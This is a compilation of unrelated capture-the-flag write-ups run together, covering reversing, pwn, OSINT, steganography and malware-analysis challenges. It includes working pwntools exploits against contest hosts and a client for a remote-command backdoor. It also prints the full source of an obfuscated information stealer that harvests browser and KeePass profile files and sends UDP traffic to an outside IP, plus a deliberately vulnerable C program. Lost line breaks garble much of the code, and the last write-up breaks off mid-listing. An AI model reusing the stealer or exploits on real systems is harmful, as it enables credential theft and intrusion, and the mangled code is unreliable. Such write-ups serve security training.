No binary provided, no leaks, could be x86_64, could be arm, canary? PIE? ...
Not a lot to go on, hopefully the compiler put `buffer` above `specialInt` on the stack so that all we have to do is send 11 (or more, no idea how stack is aligned) junk chars before sending 923992130.
> No `setbuf`; one of those `echo | nc` things.
## Exploit
```python#!/usr/bin/env python3
from pwn import *
p = remote('smash184384.wpictf.xyz', 15724)
payload = b''payload += 11 * b'A'payload += p32(923992130)
p.sendline(payload)p.recvuntil('string: ')p.stream()```
Output:
```bash# ./exploit.py[+] Opening connection to smash184384.wpictf.xyz on port 15724: DoneWPI{ju5t!n|$bR#4tht4k!n6}``` |
# AcrylicThis was a simple Rev challenge## DescriptionThis is an easy challenge. There is a flag that can be printed out from somewhere in this binary. Only one problem: There's a lot of fake flags as well.### Files provided[acrylic](https://github.com/TheRealOddCoder/writeups2021/blob/main/Tamuctf2021/acrylic/acrylic)## WriteupRunning the binary just printed out `look at the code`.Running strings on the binary gave a lot of strings resembling **gigem{133t_5tring}**Let's fire up radare2!There was a function named `get_flag()` and `flags`.Inside get_flag(), there was some calculations going on and then loads a specific location inside *flags*. Performing those calculations would give the flag location since it is a static binary.
Looks like there is **while-loop** runnning that looks like,```var_x = 0x7b # this is [var_8h]var_c = 0x0 # this is [var_4h]
# jmp 0x68c is the while loop
while (var_c < 0x7e4){ # cmp dword[var_4h],0x7e3
#0x64e var_x = ((var_x + 1) * var_x) % 0x7f # imul eax, dword[var_8h] var_c +=1 # add dword[var_4h],1 } #jmp 0x64e (if var_c< 0x7e4)
return flags+(var_x + 0x40) #flags address is given as 0x201020```Running this calculation in python would give the flag address.The starting address of `flags` is obtained from static analysis from radare2## Code```location_x = 0x7bcount_variable = 0x0flag_address = 0x201020
while(count_variable < 0x7e4): location_x = ((location_x +1) * location_x) % 0x7f count_variable += 1
location_x = location_x * 0x40flag_address += location_x
print(hex(flag_address))```The code returns the address 0x202620. So,the string at 0x202620 is the flag.## Flag`gigem{counteradvise_orbitoides}` |
# Backdoor
## Description
One of our friends has left a backdoor on the extraterrestrials' server. If we manage to take advantage of it, we will be able to control all the doors and lock them outside or open doors to facilites we have no access.
[rev_backdoor.zip](rev_backdoor.zip)
## Solution From `pydata` ELF section and other `Py_*` constants and a little googling it is clear that `bd` is a `Pyinstaller` executable. Pyinstaller has a tool that can extract content of its archives - `pyi-archive_viewer`:
$> pyi-archive_viewer bd ... (13756, 528, 732, 1, 's', 'bd'), ... ? X bd to filename? bd.bin ? Q
Then we have a bytocode blob that is still not a `.pyc` file ready to be decompiled with `uncompyle6`. By [a similar challenge](https://cujo.com/first-seclounge-ctf-2020-re-and-misc-challenges/) I added the PYC header:
```pythonopen("bd.pyc", "wb").write(b"\x42\x0d\x0d\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + open("bd.bin", "rb").read())```
But still cannot be decompiled due to MAGIC_NUMBER difference between my Python3 version and the `bd.pyc`. I find my MAGIC_NUMBER by:
```python>>> import importlib.util>>> importlib.util.MAGIC_NUMBERb'U\r\r\n'
>>> from binascii import hexlify, unhexlify>>> hexlify(importlib.util.MAGIC_NUMBER)b'550d0d0a'```
and:
Then we can decompile by `uncompyle6 bd.pyc`:
```python# uncompyle6 version 3.7.4 # Python bytecode 3.8 (3413) # Decompiled from: Python 3.8.5 (default, Jan 27 2021, 15:41:15) # [GCC 9.3.0]# Embedded file name: bd.pyimport socketfrom hashlib import md5from subprocess import check_outputsock = socket.socket()sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)sock.bind(('0.0.0.0', 4433))sock.listen(5)while True: client, addr = sock.accept() data = client.recv(32) if len(data) != 32: client.close() elif data.decode() != md5(b's4v3_th3_w0rld').hexdigest(): client.send(b'Invalid') client.close() else: size = client.recv(1) command = client.recv(int.from_bytes(size, 'little')) if not command.startswith(b'command:'): client.close() else: command = command.replace(b'command:', b'') output = check_output(command, shell=True) client.send(output) client.close()
```
Then get to the service by:
```pythonfrom pwn import *import structimport hashlib
def cm(c): cc = b"command:%s" % c return struct.pack("B", len(cc)) + cc
def ex(c): pwd = hashlib.md5(b's4v3_th3_w0rld').hexdigest().encode("ascii") r = remote("138.68.148.24", 30872) r.send(pwd) r.send(cm(c.encode("ascii"))) print(r.recvall().decode("ascii"))
```
and:
```python>>> ex("ls -al")Opening connection to 138.68.148.24 on port 30872[+] Opening connection to 138.68.148.24 on port 30872: Done[+] Receiving all data: Done (1.34KB)[*] Closed connection to 138.68.148.24 port 30872total 72drwxr-xr-x 1 root root 4096 Apr 20 06:45 .drwxr-xr-x 1 root root 4096 Apr 20 06:45 ..-rwxr-xr-x 1 root root 0 Apr 20 06:45 .dockerenv-rwxr-xr-x 1 root root 793 Apr 16 16:37 bd.pydrwxr-xr-x 2 root root 4096 Apr 14 10:25 bindrwxr-xr-x 5 root root 360 Apr 20 06:45 devdrwxr-xr-x 1 root root 4096 Apr 20 06:45 etc-rw-r--r-- 1 root root 30 Apr 16 16:39 flag.txtdrwxr-xr-x 2 root root 4096 Apr 14 10:25 homedrwxr-xr-x 1 root root 4096 Apr 14 10:25 libdrwxr-xr-x 5 root root 4096 Apr 14 10:25 mediadrwxr-xr-x 2 root root 4096 Apr 14 10:25 mntdrwxr-xr-x 2 root root 4096 Apr 14 10:25 optdr-xr-xr-x 335 root root 0 Apr 20 06:45 procdrwx------ 2 root root 4096 Apr 14 10:25 rootdrwxr-xr-x 2 root root 4096 Apr 14 10:25 rundrwxr-xr-x 2 root root 4096 Apr 14 10:25 sbindrwxr-xr-x 2 root root 4096 Apr 14 10:25 srvdr-xr-xr-x 13 root root 0 Apr 20 06:45 sysdrwxrwxrwt 2 root root 4096 Apr 14 10:25 tmpdrwxr-xr-x 1 root root 4096 Apr 16 16:39 usrdrwxr-xr-x 1 root root 4096 Apr 14 10:25 var
>>> ex("cat flag.txt")Opening connection to 138.68.148.24 on port 30872
[+] Opening connection to 138.68.148.24 on port 30872: Done[+] Receiving all data: Done (30B)[*] Closed connection to 138.68.148.24 port 30872CHTB{b4ckd00r5_4r3_d4nG3r0u5}
```
|
# AbstractFor the detailed version see the [Github page](https://github.com/KamilPacanek/writeups/blob/master/ctf/HTB.CA2021/passphrase.md).
## ToEWe are given the `passphrase` file.
## Analysis
First things first, analyze what we have with file:
```$ file passphrase
passphrase: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked,interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=60f6b6064d2e34a2b6a24dda9feb943b0b8c360f, not stripped```
Symbols are left within the executable. This is good as it makes working with the file easier. Then I did quick lookups with `ns`, `objdump`, `ldd` and it helped me to establish that program compares user input with some string. So we need to find that string.
I'm using `strace` and `ltrace` having the latter one to show me the value I was looking for.
```strlen("\nTell me the secret passphrase: "...) = 32sleep(1) = 0fgets(dsada"dsada\n", 40, 0x7f8568531980) = 0x7ffc986e2da0strlen("dsada\n") = 6strcmp("3xtr4t3rR3stR14L5_VS_hum4n5", "dsada") = -49printf("\033[31m") = 5strlen("\nIntruder alert! \360\237\232\250\n") = 22```
So after presenting a secret passphrase, the executable gives us the flag:
```strlen("\nTell me the secret passphrase: "...) = 32sleep(1) = 0fgets(3xtr4t3rR3stR14L5_VS_hum4n5"3xtr4t3rR3stR14L5_VS_hum4n5\n", 40, 0x7f461a61c980) = 0x7ffd79ab8ec0strlen("3xtr4t3rR3stR14L5_VS_hum4n5\n") = 28strcmp("3xtr4t3rR3stR14L5_VS_hum4n5", "3xtr4t3rR3stR14L5_VS_hum4n5") = 0puts("\342\234\224"β) = 4printf("\033[32m") = 5printf("\nSorry for suspecting you, pleas"..., "3xtr4t3rR3stR14L5_VS_hum4n5"Sorry for suspecting you, please transfer this important message to the chief: CHTB{3xtr4t3rR3stR14L5_VS_hum4n5}```
## Solution> `CHTB{3xtr4t3rR3stR14L5_VS_hum4n5}` |
# AbstractFor the detailed version see the [Github page](https://github.com/KamilPacanek/writeups/blob/master/ctf/HTB.CA2021/inspectorgadget.md).
## ToEWe are given the IP with a port and web application source code dump
## ReconBrowsing the site shows immediately the beginning of the flag `CHTB{`. By going through all the files that was hosted there you can find the additional three phrases:* `1nsp3ction_` (home page HTML)* `us3full_1nf0rm4tion` (static/js/main.js)* `c4n_r3ve4l_` (static/css/main.css)
By assembling the phrases you've got the flag.
## Solution
> `CHTB{1nsp3ction_c4n_r3ve4l_us3full_1nf0rm4tion}` |
# WPICTF## suspicious-traffic
Category | Points--- | --- Steganography | 200
- Download the file- Open it in ``Wireshark``- Let's try to find some information in HTTP GET requests- For each such request, follow TCP cause TCP is used for streaming- Everything is dumped into a file and we see the symbol right above the answer
 - If we look at all GET requests in a similar way, we collect the flag char by char
`flag=WPI{su3p1ci0uS_htTp}` |
# Social ID #1
By [Siorde](https://github.com/Siorde)
## DescriptionCan you find the twitter ID of @HeroCTF.
## SolutionAnother easy one. I just got on https://tweeterid.com/ and paste the username : Hero{815907006708060160} |
# Alienware
## Description
We discovered this tool in the E.T. toolkit which they used to encrypt and exfiltrate files from infected systems. Can you help us recover the files?
[rev_alienware.zip](rev_alienware.zip) - password `rev_alienware`
## Solution
There are two files observed:
- `Alienware.exe` - PE executable- `Confidential.pdf.alien` - encrypted content
### `Alienware.exe` Analysis
After a shallow analysis an interesting function draws attention:
This is an encrypted resource and this function drops `xuTaV.dll` and executes `encryptFiles` out of it.
Extract `xuTaV.dll.enc` via `010 Editor`:
You can see the 12 byte `XOR_KEY` at:
and it is used at:
Now we can decrypt via:
```pythonfrom pwn import xorfrom binascii import unhexlify
r = open("xuTaV.dll.enc", "rb").read()lr = len(r)k = unhexlify("78027680f544aa98ee651176")lk = len(k)
rr = xor(r, k * (lr // len(k)) + k[0:lr % lk])
open("xuTaV.dll", "wb").write(rr)```
### `xuTaV.dll` Analysis
Interesting thing is that the string at `param_1` is passed from `Alienware.exe` and it is later used in `encrypt_file` to derive the key from:
where `param_3` comes from the parameter passed to `encryptFiles` from `Alienware.exe`:
The derived algorithm for decryption is:
```pythonfrom pwn import xorfrom binascii import unhexlifyimport hashlib
from wincrypto import CryptCreateHash, CryptHashData, CryptDeriveKey, CryptEncrypt, CryptDecryptfrom wincrypto.constants import CALG_SHA_256, CALG_AES_128, bType_SIMPLEBLOB
def gen_key(s): xor_key = unhexlify("78027680f544aa98ee651176") xor_key = xor_key + xor_key[:4] ls = len(s)
return bytes([xor_key[i] ^ s[i % ls] for i in range(0x10)])
def decrypt_file(filename, env_os): key = gen_key(env_os) sha256_hasher = CryptCreateHash(CALG_SHA_256) CryptHashData(sha256_hasher, key) aes_key = CryptDeriveKey(sha256_hasher, CALG_AES_128) encrypted_data = open(filename, "rb").read() decrypted_data = CryptDecrypt(aes_key, encrypted_data)
return decrypted_data```
Failed fix `wincrypto`:
## Trying The Decryption Algo
Better way to emulate `wincrypto`. Using [Implement Windows CryptoAPI CryptDeriveKey Using OpenSSL APIs](https://stackoverflow.com/questions/4793583/implement-windows-cryptoapi-cryptderivekey-using-openssl-apis) but I still don't know what to do with:
and:
This may be helpful: [hasherezade/aes_crypt.cpp](https://gist.github.com/hasherezade/2860d94910c5c5fb776edadf57f0bef6)
```pythonfrom pwn import xorfrom binascii import unhexlify, hexlifyfrom ctypes import *from ctypes.wintypes import *import os
crypt32 = windll.Advapi32mbstowcs = windll.msvcr100.mbstowcslstrlenW = windll.kernel32.lstrlenWCryptAcquireContext = crypt32.CryptAcquireContextWCryptCreateHash = crypt32.CryptCreateHashCryptHashData = crypt32.CryptHashDataCryptDeriveKey = crypt32.CryptDeriveKeyCryptDecrypt = crypt32.CryptDecrypt
SHA256 = 0x800cAES128 = 0x660eprovider = "Microsoft Enhanced RSA and AES Cryptographic Provider"
def gen_key(s): xor_key = unhexlify("78027680f544aa98ee651176") xor_key = xor_key + xor_key[:4] ls = len(s) if ls > 0: dt = bytes([s[i % ls] for i in range(0x10)]) else: dt = b"\x00" * 16
return xor(dt, xor_key)
def decrypt_file_w(filename, env_os): passwd = gen_key(env_os) print(hexlify(passwd)) print(hexlify(passwd.decode("latin-1").encode("utf16"))) t = c_size_t() passwd_buf = create_string_buffer(0x22) mbstowcs(passwd_buf, c_char_p(passwd), 0x10) passwd_len = lstrlenW(passwd_buf) print(passwd_len) print(hexlify(passwd_buf.raw))
ctx = c_void_p() CryptAcquireContext(byref(ctx), 0, provider, 0x18, 0xf0000000) chash = c_void_p() CryptCreateHash(ctx, SHA256, 0, 0, byref(chash)) CryptHashData(chash, passwd_buf, passwd_len, 0); aes_key = c_void_p() CryptDeriveKey(ctx, AES128, chash, 0, byref(aes_key)) bl_size = 0x30 data_buf = create_string_buffer(bl_size)
decrypted_data = b"" encrypted_data = open(filename, "rb").read() len_enc_data = len(encrypted_data) rest_len = len_enc_data % bl_size last = len_enc_data // bl_size - 1 for i in range(len_enc_data // bl_size): if i == last and rest_len == 0: data_buf.raw = encrypted_data[i * bl_size:(i+1) * bl_size] CryptDecrypt(aes_key, 0, True, 0, data_buf, byref(DWORD(bl_size))) decrypted_data += data_buf.raw else: data_buf.raw = encrypted_data[i * bl_size:(i+1) * bl_size] CryptDecrypt(aes_key, 0, False, 0, data_buf, byref(DWORD(bl_size))) decrypted_data += data_buf.raw if rest_len > 0: data_buf.raw = encrypted_data[-rest_len:] CryptDecrypt(aes_key, 0, True, 0, data_buf, byref(DWORD(rest_len))) decrypted_data += data_buf.raw return decrypted_data
def main(): open("Confidential.pdf", "wb").write(decrypt_file_w("Confidential.pdf.alien", b"Windows_NT"))
if __name__ == "__main__": main()```
aaaaand this **WORKED** !
## Wine Setup
Ofcourse WINE is installed from the Wine repository (check in Google). You run anything with Wine such as:
```wpwn ~/archs/python-3.8.9-amd64.exe wpwn pip install cryptographywpwn pip install pwntools```
and then the script:
```wpwn python ./wdecr.py ``` |
We found out that Mr.B met with a journalist to help him publish what he knew, we don't know when or where exactly, but our guess is they met in a hotel, see if Mr.B shared anything about this meeting in social media. All we know about him besides his alias is a strange name known to be used by him (THE4llANDP0werfu1MrB). Find the hotel's name and submit the flag like below: Hotel Name: Test Hotel, Flag: SBCTF{Test}
I searched THE4llANDP0werfu1MrB in google and found his instagram account with the photo of a hotel room. I downloaded the photo and searched it in google image search and I found the hotel name *Bellagio*
> SBCTF{Bellagio} |
## Simple Login
*[here is the challenge](https://incognito-web.herokuapp.com/)*
**Hint**
In the hint we can easily predict username and password, `admin:admin` also `PUT` method.
After logged in you can see, *"You are not who you say to be, bcz he has put some extra measures to prevent this scenario"*
Open `Network Monitor` from your browser, get the request by refreshing the page
Edit and Resend the request with `PUT` method.
Go to responce tab, there will be the flag.
```flag = ICTF{N0T_S0_S3Cur3d_853541}```
|
A person known as Mr.B claims that he has discovered information about a secret project that affects people all around the world, we couldn't find a way to talk to him yet, but some say he shared his email address on the internet for people to contact him. All we know about him besides his alias is a strange name known to be used by him (THE4llANDP0werfu1MrB). Find his email address and submit the flag like below: Email: [emailΒ protected], Flag: SBCTF{exampleMailTest}
I searched for THE4llANDP0werfu1MrB in google and I found his reddit profile, where the description was some base64 encoded. I decoded it and got the following output
Here's my email address: [emailΒ protected], but I will NOT reply in any way or form, so don't bother.
> SBCTF{privateMailOfMrB} |
Someone claims they knew a programmer named Mr.B, who liked to share his projects with other programmers in order for them to use and even build upon them, find out if you can get more information out of this. All we know about him besides his alias is a strange name known to be used by him (THE4llANDP0werfu1MrB).
I assumed that a place for programmers to share their code was github where I searched for THE4llANDP0werfu1MrB There is a user with exactly the same named repoThe file in this repository
Hi, Iβm Mr.B Iβm currently working on a great project and wanted to share it with fellow programmers, but anyone with access to internet could see it here, i will throw the code in my "bin" wink so only programmers can see it. here's the address: "/2yxugDsw", and the password: "37r4QwoeMCZR8k8I"
"bin" stands for pastebin - the address confirms it I went to [https://pastebin.com/2yxugDsw](https://pastebin.com/2yxugDsw) entered the password and there was nothing I listed other pastes from this user which was named THE4llANDP0werfu1MrB He has one more paste called secret I opened it and it was also password protected so I used the same password
> SBCTF{DoNotUseTheSamePasswordForEverything} |
# Challenge Name: glute
   
## Description
I swear I didn't realize what I was naming it until I submitted the challenge
[glute.png](glute.png)
## Detailed solution
Start by checking some details about the file
```file glute.png
glute.png: PNG image data, 699 x 699, 8-bit/color RGBA, non-interlaced``````exiftool glute.png
ExifTool Version Number : 12.16File Name : glute.pngDirectory : .File Size : 335 KiBFile Modification Date/Time : 2021:04:24 04:15:04+00:00File Access Date/Time : 2021:04:24 04:15:04+00:00File Inode Change Date/Time : 2021:04:26 03:46:11+00:00File Permissions : rw-r--r--File Type : PNGFile Type Extension : pngMIME Type : image/pngImage Width : 699Image Height : 699Bit Depth : 8Color Type : RGB with AlphaCompression : Deflate/InflateFilter : AdaptiveInterlace : NoninterlacedImage Size : 699x699Megapixels : 0.489```
Checking strings in the image i found a PDF string ```%PDF-1.7``` which is the version of a PDF file
Let's run **binwalk** to check for embedded files
```binwalk glute.png
DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PNG image, 699 x 699, 8-bit/color RGBA, non-interlaced41 0x29 Zlib compressed data, best compression285674 0x45BEA PDF document, version: "1.7"286201 0x45DF9 Zlib compressed data, default compression288793 0x46819 JPEG image data, JFIF standard 1.01288823 0x46837 TIFF image data, big-endian, offset of first image directory: 8309081 0x4B759 Zlib compressed data, default compression309501 0x4B8FD Zlib compressed data, default compression324160 0x4F240 Zlib compressed data, default compression324474 0x4F37A Zlib compressed data, default compression342030 0x5380E Zlib compressed data, default compression```
Let's extract all files
```binwalk -e --dd='.*' glute.png
DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PNG image, 699 x 699, 8-bit/color RGBA, non-interlaced41 0x29 Zlib compressed data, best compression285674 0x45BEA PDF document, version: "1.7"286201 0x45DF9 Zlib compressed data, default compression288793 0x46819 JPEG image data, JFIF standard 1.01288823 0x46837 TIFF image data, big-endian, offset of first image directory: 8309081 0x4B759 Zlib compressed data, default compression309501 0x4B8FD Zlib compressed data, default compression324160 0x4F240 Zlib compressed data, default compression324474 0x4F37A Zlib compressed data, default compression342030 0x5380E Zlib compressed data, default compression```
```file * 0: PNG image data, 699 x 699, 8-bit/color RGBA, non-interlaced4B8FD: TrueType Font data, 14 tables, 1st "OS/2", 46 names, Macintosh, \251 2018 Microsoft Corporation. All Rights Reserved.Comic Sans MSRegularMicrosoft Comic SansVer4B8FD.zlib: zlib compressed data4B759: ASCII text4B759.zlib: zlib compressed data4F37A: TrueType Font data, 14 tables, 1st "OS/2", 50 names, Unicode, \251 2018 Microsoft Corporation. All Rights Reserved.4F37A.zlib: zlib compressed data4F240: ASCII text4F240.zlib: zlib compressed data29: locale data table29.zlib: zlib compressed data45BEA: PDF document, version 1.7 (password protected)45DF9: ASCII text, with CRLF line terminators45DF9.zlib: zlib compressed data5380E: data5380E.zlib: zlib compressed data46819: JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5], baseline, precision 8, 599x504, components 346837: TIFF image data, big-endian, direntries=5```
We can see multiple files let's check them
We can see our flag in the pdf file 45BEA
## Flag
```WPI{P0lyGlOtz_R_koo1}``` |
### Soulcrabber
#### Problem
- Given the out.txt and main.rs file, get the flag
#### Solution
- As we can see that, a seeded random generator is used to generate random numbers first.- Then these generated numbers are 'xor'ed with flag bytes to create an hex string which is given to us.- So, we follow the same steps, use the same seed value to generate the random numbers first.- Then, use these numbers to 'xor' with the encoded flag and print the result.- We first run get_rand.rs to generate the random nums, then we use that result in decrypt.py to get the final flag.- Flag : `CHTB{mem0ry_s4f3_crypt0_f41l}` |
I was given a file [Hide&seek.zip](https://github.com/mar232320/ctf-writeups/raw/main/Hide%26seek.zip)
in this file there is a lot of useless empty folders and files. I opened the file in rar and sorted by file size The bigger one was 81th. Inside this folder there was one non-empty file 367.txt which contained the flag
> SBCTF{Y0U_H4VE_PL4Y3D_1T_W3LL} |
# TaskThe information stealer Behir.py ate everything - including the flag. It should be somewhere in the malware. Be careful though, it's still a dangerous monster.
Abjuri5t (John F)*Important note: In its default state, the script is "defanged" and shouldn't exfiltrate any stolen information. However, this can easily be changed and you may accidentally harm your computer while solving the challenge. PLEASE make sure that you run this malware in a virtual machine/isolated lab/sandboxed enviornment. The sample file is stored in an encrypted zip with the password "infected". I am not responsible if your sensitive information is stolen.
# Unzipped malware codeLet's unzip the encrypted zip file and look at Behir.py:```tressym = "fa86075165f2630ff80397bf98323716"lightning = [".chrom"]adventure = '/'
import osimport subprocessimport socketimport hashlibimport time
def main(): ranger = int(time.time()) if(str(hashlib.md5(open(__file__, "rb").read()[43:]).hexdigest()) == tressym): ether = -1 crawlingclaw = "who" + "ima"[::ether] ether = ether + 1 owlbear = os.popen(crawlingclaw).read().split('\n')[ether] lightning[ether] = lightning[ether] + "iu" + lightning[ether][ether -1] + adventure pi = "PI.3.14159265" yeti = "pass" ether = ether + 1 ancestral = makesoul(yeti) arcane = "_info.log" ancestral[ether] = chr(123) + 'n' + makesoul(yeti)[ether].split('n')[ether] gold = "stolen" + arcane ancestral[ether] = 'w' + pi.split('.')[ether - ether] + ancestral[ether] gold = gold.replace('_', '-') for torrent in ancestral: lightning.append(torrent) ether = ether - ether lightning.append(".kee" + yeti + '2' + adventure) for fire in range(len(lightning)): lightning[fire] = lightning[fire].replace('_', '-') lightning[fire] = lightning[fire].replace('w', 'W') bludgeoning = int(time.time()) if(bludgeoning - ranger <= 2): evocation = len(lightning) for castle in range(evocation): #Ya the ".keepass2/" one is ambitious... but I have seen malware do this devour(lightning[castle], owlbear, gold) for aboleth in range(evocation): lightning.pop(ether) circle("WPI")
def devour(poison, gods, tome): ether = -1 if(poison[ether] == adventure): cat = "cat" buckler = adventure + "home" + adventure + gods + adventure + poison lightning.append(bytes(buckler, "ascii")) acid = "find " + buckler + " -type f -exec " + cat + " {} + > " + tome os.system(acid) spell = open(tome, "rb") ate = spell.read() spell.close() lightning.append(ate)
def circle(viciousMockery): ether = 0 roc = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) while(ether < 1337): ether = ether + 1 for elf in lightning: drow = bytes('0', "ascii") #I remove the data, but you REALLY should run this in a sandboxed environment roc.sendto(drow, ("158.58.184.213", ether)) #this is not a nice IP, be careful what you send here
def makesoul(orb): soul = [] litch = soulMore(orb) soul.append(litch) soul.append(soul[0].lower()) litch = swords() soul[0] = litch + "Ice" + "weasel" soul[0] = soul[0] + adventure soul[1] = soul[1] + chr(125) soul.append(litch + "Thunder" + "bird" + adventure) return soul
def soulMore(craft): ether = 0 vampire = "" eldritch = ["auto", "fill", craft, "word"] eldritch[ether] = eldritch[ether] + eldritch[ether + 1] ether = ether + 1 eldritch[ether] = eldritch[ether + ether] + eldritch[ether + ether + ether] eldritch[len(eldritch) - ether] = "NEVER" eldritch[len(eldritch) - 2] = "use" eldritch = eldritch[::-1] for martial in eldritch: vampire = vampire + '_' vampire = vampire + martial return vampire
def swords(): ether = -1 return chr(46) + lightning[ether + 1][4:6][::ether] + "zilla" + adventure
main()```It is an obfuscated Python "malware"; looks like it does data exfiltration, sending data to 158.58.184.213. Let's reverse it by doing static analysis.
# WriteupAt first, it checks for the integrity of itself, by computing the MD5 digest and checking it against a pre-computed one, so if you modify the file without modifying the digest, the malware won't "explode".
At last, before preparing data to send and before sending data, it checks that the execution so far less took less than 2 seconds: it is a form of anti-debugging.
In the middle, there are obfuscated lines of code and obfuscated functions: the malware reads data from different common folders containing sensitive user data, using system commands.
The idea is that it uses the first obfuscated part to prepare the names of the targets, and the second part (after the "anti-debug check") to execute commands to prepare the data that will be sent.
At this point, the best thing is to look again at the Python file, but with comments: to solve the challenge, we followed the execution flow one instruction at a time, by hand, writing the results of instructions and the values of variables in comments.
```tressym = "fa86075165f2630ff80397bf98323716"lightning = [".chrom"]adventure = '/'
import osimport subprocessimport socketimport hashlibimport time
def main(): ranger = int(time.time()) if(str(hashlib.md5(open(__file__, "rb").read()[43:]).hexdigest()) == tressym): # if you change it, you have to update md5 tressym ether = -1 crawlingclaw = "who" + "ima"[::ether] # whoami ether = ether + 1 owlbear = os.popen(crawlingclaw).read().split('\n')[ether] # execute whoami and save the result in owlbear lightning[ether] = lightning[ether] + "iu" + lightning[ether][ether -1] + adventure # .chromium/ in lightning[0] pi = "PI.3.14159265" yeti = "pass" ether = ether + 1 # at this poit, ether is equal to 1 ancestral = makesoul(yeti) # ancestral: [".mozilla/Iceweasel/", "never_use_password_autofill}", ".mozilla/Thunderbird/"] arcane = "_info.log" ancestral[ether] = chr(123) + 'n' + makesoul(yeti)[ether].split('n')[ether] # ancestral[1]: "{never_use_password_autofill}" gold = "stolen" + arcane # stolen_info.log ancestral[ether] = 'w' + pi.split('.')[ether - ether] + ancestral[ether] # ancestral[1]: wPI{never_use_password_autofill} gold = gold.replace('_', '-') # stolen-info.log for torrent in ancestral: lightning.append(torrent) # lightning = [".chromium/", ".mozilla/Iceweasel/", "wPI{never_use_password_autofill}", ".mozilla/Thunderbird/"] ether = ether - ether # 0, obviously lightning.append(".kee" + yeti + '2' + adventure) # .keepass2/ for fire in range(len(lightning)): lightning[fire] = lightning[fire].replace('_', '-') lightning[fire] = lightning[fire].replace('w', 'W') # lightning = ['.chromium/', '.mozilla/IceWeasel/', 'WPI{never-use-passWord-autofill}', '.mozilla/Thunderbird/', '.keepass2/'] bludgeoning = int(time.time()) if(bludgeoning - ranger <= 2): # if the execution took less than 2 seconds evocation = len(lightning) # 5 for castle in range(evocation): #Ya the ".keepass2/" one is ambitious... but I have seen malware do this devour(lightning[castle], owlbear, gold) # second and third parameter: <user> (result of whoami), stolen-info.log for aboleth in range(evocation): lightning.pop(ether) # at this point, lightning is much like before, but strings are in byte format, like b'.chromium/' and so on, and between a folder name and another # there is the CONTENT in byte format read from the previously specified folder circle("WPI") # input parameter is unused; this function performs data exfiltration, by sending 'lightning' list
def devour(poison, gods, tome): ether = -1 if(poison[ether] == adventure): # true for all elements of lightning that are in the list before 'devour' function calls cat = "cat" buckler = adventure + "home" + adventure + gods + adventure + poison # /home/<user>/lightning[i] , for example /home/mike/.chromium/ lightning.append(bytes(buckler, "ascii")) # for example b'.chromium/' acid = "find " + buckler + " -type f -exec " + cat + " {} + > " + tome # find /home/<user>/lightning[i] -type -f -exec cat {} + > stolen-info.log os.system(acid) # make a query and if the file is there, read its contents and copy them to stolen-info.log spell = open(tome, "rb") # read result from stolen-info.log ate = spell.read() spell.close() lightning.append(ate) # append sensitive data read to lightning
def circle(viciousMockery): ether = 0 roc = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) while(ether < 1337): ether = ether + 1 for elf in lightning: # it is implemented like a stub, because like you can see, 'elf' variable is not sent drow = bytes('0', "ascii") #I remove the data, but you REALLY should run this in a sandboxed environment roc.sendto(drow, ("158.58.184.213", ether)) #this is not a nice IP, be careful what you send here
def makesoul(orb): soul = [] litch = soulMore(orb) # f"NEVER_use_{orb}word_autofill" soul.append(litch) soul.append(soul[0].lower()) # at this point, soul is a list of 2 elements; the second is f"never_use_{orb.lower()}word_autofill" litch = swords() # .mozilla/ soul[0] = litch + "Ice" + "weasel" # f".mozilla/Iceweasel" soul[0] = soul[0] + adventure # f".mozilla/Iceweasel/" soul[1] = soul[1] + chr(125) # f"never_use_{orb.lower()}word_autofill}" soul.append(litch + "Thunder" + "bird" + adventure) # element added: f".mozilla/Thunderbird/" return soul # [".mozilla/Iceweasel/", f"never_use_{orb.lower()}word_autofill}", ".mozilla/Thunderbird/"]
def soulMore(craft): ether = 0 vampire = "" eldritch = ["auto", "fill", craft, "word"] eldritch[ether] = eldritch[ether] + eldritch[ether + 1] # "autofill" at index 0 ether = ether + 1 eldritch[ether] = eldritch[ether + ether] + eldritch[ether + ether + ether] # craft + "word" at index 1 eldritch[len(eldritch) - ether] = "NEVER" # "NEVER" at index 3 eldritch[len(eldritch) - 2] = "use" # "use" at index 2 eldritch = eldritch[::-1] # at this point eldritch is: ["NEVER", "use", craft + "word", "autofill"] for martial in eldritch: vampire = vampire + '_' vampire = vampire + martial return vampire # f"NEVER_use_{craft}word_autofill"
def swords(): ether = -1 return chr(46) + lightning[ether + 1][4:6][::ether] + "zilla" + adventure # .mozilla/
main()```After a few failed attempts with the CTF's website, we found out what was the flag:```WPI{never-use-password-autofill}``` |
# Win, but twisted
In this challenge we were given a binary and a C file, let's analyze them.```C#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
int UNLOCKED = 0;
void set_lock()
{
printf("Setting lock !");
UNLOCKED = 1;
}
void shell()
{
printf("In shell function ! ");
if (UNLOCKED == 1)
{
printf("Getting shell ! ");
setreuid(geteuid(), geteuid());
system("/bin/sh");
}
}
void hello_hero(int hero)
{
printf("It looks like that's something a Hero would say\n");
}
void look_like()
{
printf("Please keep being one. :)\n");
}
int main()
{
int (*look)() = look_like;
int (*hello)() = hello_hero;
char buffer[32];
printf("What would a hero say ?\n>>> ");
fgets(buffer, 44, stdin);
hello();
look();
